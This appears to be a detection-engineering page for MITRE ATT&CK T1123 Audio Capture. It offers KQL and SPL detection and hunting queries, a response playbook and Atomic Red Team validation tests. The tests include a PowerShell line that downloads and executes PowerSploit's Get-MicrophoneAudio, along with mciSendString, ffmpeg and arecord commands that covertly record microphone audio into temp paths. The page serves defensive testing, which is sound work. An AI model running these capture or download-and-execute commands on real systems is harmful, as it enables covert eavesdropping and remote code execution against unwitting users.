T1123

Audio Capture

Collection Last updated:

Adversaries may leverage a computer's peripheral devices (e.g., microphones) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations. Malware or scripts interact with audio devices through OS APIs or application APIs to capture and record audio. Recorded files may be written to disk in staging directories and subsequently exfiltrated. Known malware families using this technique include Flame, ROKRAT, Bandook, VERMIN, TajMahal, Pupy, EvilGrab, LightSpy, Cadelspy, NanoCore, Crimson, MacMa, T9000, and Machete. PowerSploit's Get-MicrophoneAudio module provides an open-source implementation commonly repurposed by attackers.

What is T1123 Audio Capture?

Audio Capture (T1123) maps to the Collection tactic — the adversary is trying to gather data of interest to their goal in MITRE ATT&CK.

This page provides production-ready detection logic for Audio Capture, covering the data sources and telemetry it touches: Module: Module Load, File: File Creation, Process: Process Creation, Command: Command Execution, Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Collection
Technique
T1123 Audio Capture
Canonical reference
https://attack.mitre.org/techniques/T1123/
Microsoft Sentinel / Defender
kusto 
let AudioCaptureDlls = dynamic(["winmm.dll", "audioses.dll", "avrt.dll", "dsound.dll", "mfplat.dll"]);
let LegitAudioProcesses = dynamic([
  "audiodg.exe", "svchost.exe", "wmplayer.exe", "groove.exe", "msiexec.exe",
  "teams.exe", "ms-teams.exe", "zoom.exe", "zoomwebviewhost.exe",
  "skype.exe", "skypehost.exe", "skypebridge.exe",
  "discord.exe", "slack.exe", "webex.exe",
  "chrome.exe", "msedge.exe", "firefox.exe", "iexplore.exe", "opera.exe",
  "spotify.exe", "vlc.exe", "mpv.exe", "SoundRecorder.exe",
  "RuntimeBroker.exe", "ShellExperienceHost.exe", "SearchHost.exe",
  "SystemSettings.exe", "explorer.exe"
]);
let AudioExtensions = dynamic([".wav", ".mp3", ".wma", ".ogg", ".flac", ".aac", ".m4a", ".raw"]);
let SuspiciousStagingPaths = dynamic([
  "\\AppData\\Local\\Temp\\", "\\AppData\\Roaming\\Intel\\",
  "\\AppData\\Roaming\\Microsoft\\Windows\\",
  "\\Users\\Public\\", "\\ProgramData\\", "\\Windows\\Temp\\",
  "\\Windows\\Tasks\\", "\\Recycle"
]);
union
(
    DeviceImageLoadEvents
    | where Timestamp > ago(24h)
    | where FileName in~ (AudioCaptureDlls)
    | where not (InitiatingProcessFileName in~ (LegitAudioProcesses))
    | where not (InitiatingProcessFolderPath has_any ("\\Program Files\\", "\\Program Files (x86)\\", "\\Windows\\System32\\", "\\Windows\\SysWOW64\\"))
    | extend DetectionType = "SuspiciousAudioDllLoad"
    | extend Detail = strcat("Process loaded audio DLL: ", FileName)
    | project Timestamp, DeviceName, AccountName, DetectionType, Detail,
              ProcessName = InitiatingProcessFileName,
              CommandLine = InitiatingProcessCommandLine,
              ProcessPath = InitiatingProcessFolderPath
),
(
    DeviceFileEvents
    | where Timestamp > ago(24h)
    | where ActionType == "FileCreated"
    | where FileName has_any (AudioExtensions)
    | where FolderPath has_any (SuspiciousStagingPaths)
    | where not (InitiatingProcessFileName in~ (LegitAudioProcesses))
    | extend DetectionType = "AudioFileStagedInSuspiciousPath"
    | extend Detail = strcat("Audio file created: ", FolderPath)
    | project Timestamp, DeviceName, AccountName, DetectionType, Detail,
              ProcessName = InitiatingProcessFileName,
              CommandLine = InitiatingProcessCommandLine,
              ProcessPath = InitiatingProcessFolderPath
),
(
    DeviceProcessEvents
    | where Timestamp > ago(24h)
    | where ProcessCommandLine has_any (
        "Get-MicrophoneAudio", "WaveInEvent", "WaveFileWriter", "NAudio",
        "mciSendString", "waveInOpen", "AudioCapture", "MicCapture",
        "dshow\", \"audio=", "-f dshow", "avfoundation",
        "WindowsAudioDevice", "CoreAudio", "AVAudioRecorder"
      )
    | extend DetectionType = "AudioCaptureToolUsage"
    | extend Detail = strcat("Audio capture keyword in command line: ", ProcessCommandLine)
    | project Timestamp, DeviceName, AccountName, DetectionType, Detail,
              ProcessName = FileName,
              CommandLine = ProcessCommandLine,
              ProcessPath = FolderPath
)
| sort by Timestamp desc

Detects audio capture activity across three signal types: (1) suspicious processes loading Windows audio API DLLs (winmm.dll, audioses.dll, avrt.dll, dsound.dll) that are not known legitimate audio consumers; (2) audio files with common recording extensions (.wav, .mp3, .wma etc.) created in staging paths such as AppData, ProgramData, or Windows\Temp by non-audio processes; (3) process command lines referencing known audio capture functions or frameworks including PowerSploit's Get-MicrophoneAudio, NAudio WaveInEvent, mciSendString Win32 API, FFmpeg dshow audio capture, or macOS AVFoundation/CoreAudio. Unions all three into a single result set for analyst triage.

high severity medium confidence

Data Sources

Module: Module Load File: File Creation Process: Process Creation Command: Command Execution Microsoft Defender for Endpoint

Required Tables

DeviceImageLoadEvents DeviceFileEvents DeviceProcessEvents

False Positives

  • Legitimate audio/video conferencing software (Teams, Zoom, Webex, Discord) loading audio DLLs from non-standard install paths or as part of update processes
  • Media production software (Audacity, Adobe Audition, OBS, DAWs) creating audio files in user-defined output directories that overlap with staging path heuristics
  • Voice recognition software (Dragon NaturallySpeaking, Windows Cortana/Speech services) continuously accessing audio APIs in the background
  • Game software or streaming tools (OBS, XSplit) that capture system audio via DirectSound or WASAPI for game capture
  • Podcast or screencasting tools recording audio to AppData as their default output path
  • Security testing or red team exercises using PowerSploit or atomic-red-team audio test scripts

Sigma rule & cross-platform mapping

The detection logic for Audio Capture (T1123) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1123 Sigma rules on detection.fyi

Platform-specific guides for T1123

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-04-19 Research depth: deep
References (9)

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1PowerSploit Get-MicrophoneAudio — 5 Second Capture

    Expected signal: Sysmon Event ID 1: PowerShell process creation with Get-MicrophoneAudio and IEX in command line. Sysmon Event ID 7: winmm.dll or audioses.dll loaded by powershell.exe. Sysmon Event ID 11: df00tech-audio-test.wav created in %TEMP%. Sysmon Event ID 3: outbound network connection to raw.githubusercontent.com. PowerShell ScriptBlock Log Event ID 4104 with full script content including Get-MicrophoneAudio function body.

  2. Test 2FFmpeg DirectShow Audio Capture — Windows

    Expected signal: Sysmon Event ID 1: ffmpeg.exe process creation with '-f dshow' and 'audio=' in command line. Sysmon Event ID 7: winmm.dll and avrt.dll loaded by ffmpeg.exe (if not in Program Files). Sysmon Event ID 11: df00tech-capture.wav created in C:\ProgramData\. The command line '-f dshow' combined with audio= string is a specific IoC for FFmpeg audio capture.

  3. Test 3Windows mciSendString Audio Capture via PowerShell Add-Type

    Expected signal: Sysmon Event ID 1: PowerShell process creation with mciSendString keyword in command line. Sysmon Event ID 7: winmm.dll loaded by powershell.exe (DllImport of winmm.dll triggers the load). Sysmon Event ID 11: df00tech-mci.wav created in %APPDATA%. PowerShell ScriptBlock Log Event ID 4104 with full P/Invoke code including mciSendString string.

  4. Test 4Linux arecord ALSA Microphone Capture

    Expected signal: Linux auditd EXECVE record: arecord process creation with '-d 10' and '/tmp/df00tech-audio-test.wav' arguments. Linux auditd OPEN/CREATE syscall records for /tmp/df00tech-audio-test.wav. Syslog entry from auditd showing arecord execution. If using Sysmon for Linux: Sysmon Event ID 1 (Process Create) with Image=/usr/bin/arecord.

Response Playbook

Triage

  1. Identify the triggering detection type — DLL load, audio file staged, or audio capture tool keyword — and review the full process command line and parent process to determine whether the activity is expected for this user and device
  2. If the trigger is a DLL load: cross-reference DeviceImageLoadEvents and DeviceNetworkEvents to check whether the suspicious process made any outbound connections after loading the audio DLL, which would suggest active capture followed by exfiltration staging
  3. If the trigger is an audio file written to a staging path: check the file size and timestamp — a 10+ second capture will produce a file at least tens of KB. Correlate DeviceFileEvents with DeviceNetworkEvents to see if the file was subsequently accessed by an exfiltration tool
  4. Check the user context — is this a standard user, privileged account, or service account? Would this user legitimately run audio capture software? Verify with the user or their manager if a conversation is occurring around the time of the alert
  5. Examine the parent process chain — was the audio-capturing process spawned by Office (winword.exe, excel.exe), a script interpreter (wscript.exe, cscript.exe, python.exe, powershell.exe), or a browser plugin? These parent-child relationships strongly indicate malicious activity
  6. Search for known IoCs associated with audio-capturing malware families: T9000 writes to %APPDATA%\Intel\Skype; Machete uses Python-based scripts; ROKRAT drops audio files with randomized names in temp directories
  7. Check DeviceProcessEvents for sibling processes that performed reconnaissance or staged data around the same timestamp, suggesting the audio capture is part of a broader collection campaign

Containment

  1. If active audio capture is confirmed or strongly suspected: immediately isolate the endpoint using EDR isolation to prevent ongoing capture and exfiltration of recorded audio
  2. If a staged audio file is found on disk: preserve a forensic copy before deletion by collecting via EDR live response, then delete from disk and block the staging path from network access
  3. If the capturing process is still running: terminate the process via EDR kill-process capability, not via the user endpoint (to prevent the attacker from being alerted)
  4. If a compromised user account is suspected: disable the account in Active Directory, revoke all active sessions and OAuth tokens, and reset credentials
  5. Block any external IPs or domains identified in outbound network connections from the capturing process at the perimeter firewall, web proxy, and DNS levels
  6. If the malware used a scheduled task or service for persistence: identify and remove the persistence mechanism via EDR live response before re-enabling network access

Evidence Collection

  1. Audio files on disk — search %APPDATA%\Local\Temp, %APPDATA%\Roaming, %TEMP%, ProgramData, and %APPDATA%\Intel for .wav, .mp3, .wma, .raw, and .ogg files created near the alert timestamp; hash and preserve all findings
  2. Sysmon Event ID 7 (ImageLoad) logs — identify all DLLs loaded by the suspicious process to understand the full capability set
  3. Sysmon Event ID 11 (FileCreate) logs — enumerate all files written by the suspicious process within the investigation window
  4. Sysmon Event ID 3 (NetworkConnect) logs — identify all outbound network connections made by the capturing process; focus on connections made after audio file creation
  5. Sysmon Event ID 1 (ProcessCreate) logs — full process tree including grandparent to understand how the malware was launched
  6. Windows Volume Shadow Copies — may contain the audio file or malware executable even if deleted from the live filesystem
  7. MFT (Master File Table) forensic artifact — use tools such as MFTECmd to identify created/modified file records in staging directories, including files that have since been deleted
  8. Registry run keys and scheduled tasks — HKCU\Software\Microsoft\Windows\CurrentVersion\Run, HKLM\Software\Microsoft\Windows\CurrentVersion\Run, and Task Scheduler XML files in C:\Windows\System32\Tasks for persistence mechanisms
  9. Prefetch files — C:\Windows\Prefetch for the capturing process executable to determine first and recent execution timestamps and DLLs loaded
  10. Memory dump — if the process is still running, take a full process memory dump via EDR live response; malware often stores audio buffers and C2 configuration in memory

Escalation Criteria

  • ! Audio file found on disk in a staging path with a corresponding outbound network connection to an external IP shortly after file creation — confirmed active exfiltration of captured audio
  • ! Capturing process spawned directly from a document application (winword.exe, excel.exe, powerpnt.exe) or script interpreter, indicating initial access via phishing and immediate collection
  • ! Multiple endpoints showing audio capture activity within a short time window — indicates a coordinated campaign or worm-like propagation of audio-capturing malware
  • ! Audio capture in a sensitive environment such as a C-suite executive's endpoint, a meeting room system, a legal or HR workstation, or a system in a secure facility
  • ! Known malware IoCs matched — file hashes, staging paths (%APPDATA%\Intel\Skype for T9000), or command line patterns matching a named threat group
  • ! Evidence that the captured audio was encrypted before staging (encrypted blob in temp dir alongside the capturing process) indicating a sophisticated, evasion-aware adversary

Investigation Guide

Forensic Artifacts

  • > File System: %APPDATA%\Local\Temp\*.wav — common output path for Windows audio capture malware; check file timestamps and sizes
  • > File System: %APPDATA%\Roaming\Intel\Skype\ — T9000 malware specifically writes encrypted audio captures here
  • > File System: %TEMP%\*.raw or *.pcm — raw PCM audio dumps from capture tools that skip encoding overhead
  • > Registry: HKLM\SOFTWARE\Microsoft\Windows Multimedia\MCI — MCI device registration entries that may reveal configured audio capture devices
  • > Registry: HKLM\SYSTEM\CurrentControlSet\Control\Class\{4d36e96c-e325-11ce-bfc1-08002be10318} — audio device enumeration; adversaries may query this to identify available recording devices
  • > Windows Event Log: Microsoft-Windows-DriverFrameworks-UserMode/Operational — records USB audio device connection/disconnection events that may indicate external mic attachment
  • > Prefetch: C:\Windows\Prefetch — executable prefetch for the capturing tool, recording exact execution timestamps and file references
  • > MFT Records: File system artifacts showing audio file creation and deletion sequences in staging directories, recoverable via forensic tools even after deletion
  • > Process Memory: Audio buffers, API call sequences (waveInOpen, waveInStart, waveInAddBuffer), and embedded C2 configuration may be present in captured process memory
  • > LNK/Jump List Files: %APPDATA%\Microsoft\Windows\Recent — may reference dropped audio files even after deletion from primary path

Tuning Guidance

The primary source of false positives is the broad list of legitimate applications that access audio APIs. Build an environment-specific allowlist by running the DLL load query in count-only mode over 30 days and reviewing the top processes — most will be legitimate media applications, browsers, or conferencing tools. Add confirmed-legitimate processes to the LegitAudioProcesses exclusion list. For the audio file staging query, the key discriminator is the combination of a non-media process writing an audio file to a temp or staging path — this is inherently suspicious since legitimate media tools write to user-configured output directories, not temp paths. The FFmpeg dshow keyword is especially valuable as a high-confidence indicator when FFmpeg is not an approved tool in your environment; allowlist it explicitly if your media teams use it. For environments where PowerSploit is used in authorized red team exercises, add the authorized testing host names as exclusions with a time-bounded suppression. Consider enriching alerts with device sensitivity tags (executive endpoints, secure zones, meeting rooms) to automatically elevate priority for audio capture on high-value targets. The audio-file-then-network-connection hunting query has the highest signal-to-noise ratio and should be run as a scheduled hunt even if the main detection has significant false positive volume.

Hunting Queries

Hunt for processes outside the known-good audio application list that have loaded Windows audio API DLLs in the past 7 days. Aggregates by process name with device count — a process loading audio DLLs across multiple devices is a high-priority finding. Helps surface new or renamed malware variants not covered by the main detection.

Hunting — KQL
kql 
DeviceImageLoadEvents
| where Timestamp > ago(7d)
| where FileName in~ ("winmm.dll", "audioses.dll", "avrt.dll", "dsound.dll")
| where not (InitiatingProcessFileName in~ (
    "audiodg.exe", "svchost.exe", "wmplayer.exe", "teams.exe",
    "zoom.exe", "skype.exe", "discord.exe", "slack.exe",
    "chrome.exe", "msedge.exe", "firefox.exe", "spotify.exe",
    "vlc.exe", "explorer.exe", "RuntimeBroker.exe"
  ))
| summarize AudioDllLoads=count(),
            DllsLoaded=make_set(FileName),
            FirstSeen=min(Timestamp),
            LastSeen=max(Timestamp),
            Devices=dcount(DeviceName)
  by InitiatingProcessFileName, InitiatingProcessFolderPath
| where AudioDllLoads > 0
| sort by AudioDllLoads desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=7
  (ImageLoaded="*\\winmm.dll" OR ImageLoaded="*\\audioses.dll" OR ImageLoaded="*\\avrt.dll" OR ImageLoaded="*\\dsound.dll")
  NOT (Image="*\\audiodg.exe" OR Image="*\\svchost.exe" OR Image="*\\wmplayer.exe" OR Image="*\\teams.exe" OR Image="*\\zoom.exe" OR Image="*\\skype.exe" OR Image="*\\discord.exe" OR Image="*\\chrome.exe" OR Image="*\\msedge.exe" OR Image="*\\firefox.exe" OR Image="*\\spotify.exe" OR Image="*\\vlc.exe")
| stats count as AudioDllLoads, values(ImageLoaded) as DllsLoaded, dc(host) as Devices, earliest(_time) as FirstSeen, latest(_time) as LastSeen by Image
| sort - AudioDllLoads

Hunt for non-audio-application processes that have created multiple audio files over the past 7 days, aggregated by process name and user. Recurring audio file creation by a single non-media process — especially in temp or staging directories — is a strong indicator of scheduled or continuous audio surveillance. The threshold of >1 file helps distinguish one-off test files from systematic capture.

Hunting — KQL
kql 
DeviceFileEvents
| where Timestamp > ago(7d)
| where ActionType == "FileCreated"
| where FileName has_any (".wav", ".mp3", ".wma", ".ogg", ".flac", ".aac", ".m4a", ".raw")
| where not (InitiatingProcessFileName in~ (
    "audiodg.exe", "wmplayer.exe", "groove.exe", "teams.exe",
    "zoom.exe", "skype.exe", "discord.exe", "slack.exe",
    "webex.exe", "chrome.exe", "msedge.exe", "firefox.exe",
    "spotify.exe", "vlc.exe", "SoundRecorder.exe",
    "Audacity.exe", "obs64.exe", "obs32.exe"
  ))
| summarize AudioFilesCreated=count(),
            FileNames=make_set(FileName, 10),
            StagingPaths=make_set(FolderPath, 5),
            Devices=dcount(DeviceName),
            EarliestCapture=min(Timestamp)
  by InitiatingProcessFileName, AccountName
| where AudioFilesCreated > 1
| sort by AudioFilesCreated desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
  (TargetFilename="*.wav" OR TargetFilename="*.mp3" OR TargetFilename="*.wma" OR TargetFilename="*.ogg" OR TargetFilename="*.flac" OR TargetFilename="*.aac" OR TargetFilename="*.m4a" OR TargetFilename="*.raw")
  NOT (Image="*\\wmplayer.exe" OR Image="*\\groove.exe" OR Image="*\\teams.exe" OR Image="*\\zoom.exe" OR Image="*\\skype.exe" OR Image="*\\discord.exe" OR Image="*\\chrome.exe" OR Image="*\\msedge.exe" OR Image="*\\firefox.exe" OR Image="*\\spotify.exe" OR Image="*\\vlc.exe" OR Image="*\\SoundRecorder.exe" OR Image="*\\Audacity.exe" OR Image="*\\obs64.exe")
| stats count as AudioFilesCreated, values(TargetFilename) as FileNames, dc(host) as Devices, earliest(_time) as EarliestCapture by Image, User
| where AudioFilesCreated > 1
| sort - AudioFilesCreated

Hunt for the complete capture-then-exfiltrate pattern: processes that both create audio files in staging directories AND make outbound connections to public IP addresses within the same analysis window. The correlation of these two events from the same process is a high-confidence indicator that captured audio is being staged and transmitted to attacker infrastructure.

Hunting — KQL
kql 
let AudioCapturePaths = dynamic([
  "\\AppData\\Local\\Temp\\", "\\AppData\\Roaming\\Intel\\",
  "\\AppData\\Roaming\\Microsoft\\Windows\\",
  "\\Users\\Public\\", "\\ProgramData\\", "\\Windows\\Temp\\"
]);
let AudioExtensions = dynamic([".wav", ".mp3", ".wma", ".ogg", ".raw", ".flac"]);
DeviceFileEvents
| where Timestamp > ago(7d)
| where ActionType == "FileCreated"
| where FileName has_any (AudioExtensions)
| where FolderPath has_any (AudioCapturePaths)
| join kind=inner (
    DeviceNetworkEvents
    | where Timestamp > ago(7d)
    | where RemoteIPType == "Public"
    | project DeviceName, NetworkTimestamp=Timestamp, InitiatingProcessFileName,
              RemoteIP, RemotePort, InitiatingProcessCommandLine
  ) on DeviceName
| where NetworkTimestamp between (Timestamp .. (Timestamp + 5m))
| where InitiatingProcessFileName == InitiatingProcessFileName1
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName,
          AudioFile = FolderPath, RemoteIP, RemotePort,
          NetworkTimestamp, TimeDeltaSeconds = datetime_diff('second', NetworkTimestamp, Timestamp)
| sort by Timestamp desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
| eval is_audio_create=if(EventCode=11 AND (match(TargetFilename,"(?i)\.(wav|mp3|wma|ogg|raw|flac)$") AND match(TargetFilename,"(?i)(\\AppData\\|\\ProgramData\\|\\Windows\\Temp\\|\\Users\\Public\\)")), 1, 0)
| eval is_net_event=if(EventCode=3 AND NOT match(DestinationIp,"^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.)"), 1, 0)
| eval event_key=host."|".Image
| stats sum(is_audio_create) as AudioFilesCreated, sum(is_net_event) as ExternalNetConns, values(TargetFilename) as AudioFiles, values(DestinationIp) as RemoteIPs by host, Image, User
| where AudioFilesCreated > 0 AND ExternalNetConns > 0
| sort - AudioFilesCreated

Atomic Red Team Tests

Test 1 PowerSploit Get-MicrophoneAudio — 5 Second Capture
windows

Uses the PowerSploit Exfiltration module Get-MicrophoneAudio to record five seconds of microphone audio and save it to the user's temp directory. This directly emulates the technique used by threat actors who repurpose PowerSploit modules for audio surveillance. Requires PowerSploit to be downloaded or the Get-MicrophoneAudio function to be available.

Command

powershell 
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-MicrophoneAudio.ps1'); Get-MicrophoneAudio -Path $env:TEMP\df00tech-audio-test.wav -Length 5"

Cleanup

powershell 
Remove-Item $env:TEMP\df00tech-audio-test.wav -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: PowerShell process creation with Get-MicrophoneAudio and IEX in command line. Sysmon Event ID 7: winmm.dll or audioses.dll loaded by powershell.exe. Sysmon Event ID 11: df00tech-audio-test.wav created in %TEMP%. Sysmon Event ID 3: outbound network connection to raw.githubusercontent.com. PowerShell ScriptBlock Log Event ID 4104 with full script content including Get-MicrophoneAudio function body.

Expected Detection

Fires on AudioCaptureToolUsage (Get-MicrophoneAudio keyword), AudioDllLoad (audio DLL loaded by powershell.exe), and AudioFileStagedInSuspiciousPath (wav file in %TEMP%). Triple-trigger alert with high priority.

Test 2 FFmpeg DirectShow Audio Capture — Windows
windows

Uses FFmpeg with the DirectShow (dshow) input filter to capture 10 seconds of audio from the default system microphone and write a WAV file to the ProgramData directory. FFmpeg is commonly dropped by malware as a legitimate tool proxy for media capture. This emulates tooling seen in EvilGrab and similar implants that leverage third-party media tools.

Command

powershell 
ffmpeg.exe -f dshow -i audio="Microphone Array (Realtek(R) Audio)" -t 10 C:\ProgramData\df00tech-capture.wav -y

Cleanup

powershell 
del C:\ProgramData\df00tech-capture.wav 2>nul

Expected Telemetry

Sysmon Event ID 1: ffmpeg.exe process creation with '-f dshow' and 'audio=' in command line. Sysmon Event ID 7: winmm.dll and avrt.dll loaded by ffmpeg.exe (if not in Program Files). Sysmon Event ID 11: df00tech-capture.wav created in C:\ProgramData\. The command line '-f dshow' combined with audio= string is a specific IoC for FFmpeg audio capture.

Expected Detection

Fires on AudioCaptureToolUsage ('-f dshow' and 'audio=' keywords in command line) and AudioFileStagedInSuspiciousPath (wav in ProgramData). If ffmpeg.exe is not in Program Files, also fires AudioDllLoad.

Test 3 Windows mciSendString Audio Capture via PowerShell Add-Type
windows

Uses PowerShell Add-Type to P/Invoke the Win32 mciSendString API, which is the legacy MCI (Media Control Interface) method for audio recording. This pattern is used by older malware families (Bandook, Cadelspy) that prefer lower-level API calls over higher-level frameworks to reduce detection surface. Records 5 seconds of audio to AppData\Roaming.

Command

powershell 
powershell.exe -NoProfile -Command "Add-Type -TypeDefinition 'using System; using System.Runtime.InteropServices; public class AudioRec { [DllImport(\"winmm.dll\", EntryPoint=\"mciSendStringW\", CharSet=CharSet.Unicode)] public static extern int mciSendString(string cmd, System.Text.StringBuilder ret, int cchReturn, IntPtr hwndCallback); }'; $null = [AudioRec]::mciSendString('open new type waveaudio alias df00capture', $null, 0, [IntPtr]::Zero); $null = [AudioRec]::mciSendString('record df00capture', $null, 0, [IntPtr]::Zero); Start-Sleep -Seconds 5; $null = [AudioRec]::mciSendString('stop df00capture', $null, 0, [IntPtr]::Zero); $null = [AudioRec]::mciSendString('save df00capture $env:APPDATA\df00tech-mci.wav', $null, 0, [IntPtr]::Zero); $null = [AudioRec]::mciSendString('close df00capture', $null, 0, [IntPtr]::Zero)"

Cleanup

powershell 
Remove-Item "$env:APPDATA\df00tech-mci.wav" -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: PowerShell process creation with mciSendString keyword in command line. Sysmon Event ID 7: winmm.dll loaded by powershell.exe (DllImport of winmm.dll triggers the load). Sysmon Event ID 11: df00tech-mci.wav created in %APPDATA%. PowerShell ScriptBlock Log Event ID 4104 with full P/Invoke code including mciSendString string.

Expected Detection

Fires on AudioCaptureToolUsage (mciSendString keyword), AudioDllLoad (winmm.dll loaded by powershell.exe), and AudioFileStagedInSuspiciousPath (wav in %APPDATA%). All three detection types trigger for high confidence.

Test 4 Linux arecord ALSA Microphone Capture
linux

Uses the arecord utility (ALSA Sound Recorder, part of alsa-utils) to capture 10 seconds of audio from the default microphone and write to /tmp. This emulates the Linux audio capture pattern used by malware families such as Machete and cross-platform RATs like Pupy that include audio capture plugins targeting Linux endpoints.

Command

bash 
arecord -d 10 -f cd -t wav /tmp/df00tech-audio-test.wav

Cleanup

bash 
rm -f /tmp/df00tech-audio-test.wav

Expected Telemetry

Linux auditd EXECVE record: arecord process creation with '-d 10' and '/tmp/df00tech-audio-test.wav' arguments. Linux auditd OPEN/CREATE syscall records for /tmp/df00tech-audio-test.wav. Syslog entry from auditd showing arecord execution. If using Sysmon for Linux: Sysmon Event ID 1 (Process Create) with Image=/usr/bin/arecord.

Expected Detection

Fires on process creation detection for arecord in suspicious context (if baseline doesn't include arecord) and file creation of audio file in /tmp. Linux-specific hunting query matches arecord or sox with /tmp or /var/tmp output paths.

Related Detections

Tactic Hub

TA0009Collection

Related Techniques

T1113Screen CaptureT1056.001KeyloggingT1125Video CaptureT1041Exfiltration Over C2 ChannelT1560.001Archive via UtilityT1074.001Local Data StagingT1071.001Web ProtocolsT1105Ingress Tool TransferT1059.001PowerShellT1053.005Scheduled Task

Same Tactic: Collection

Popular Detections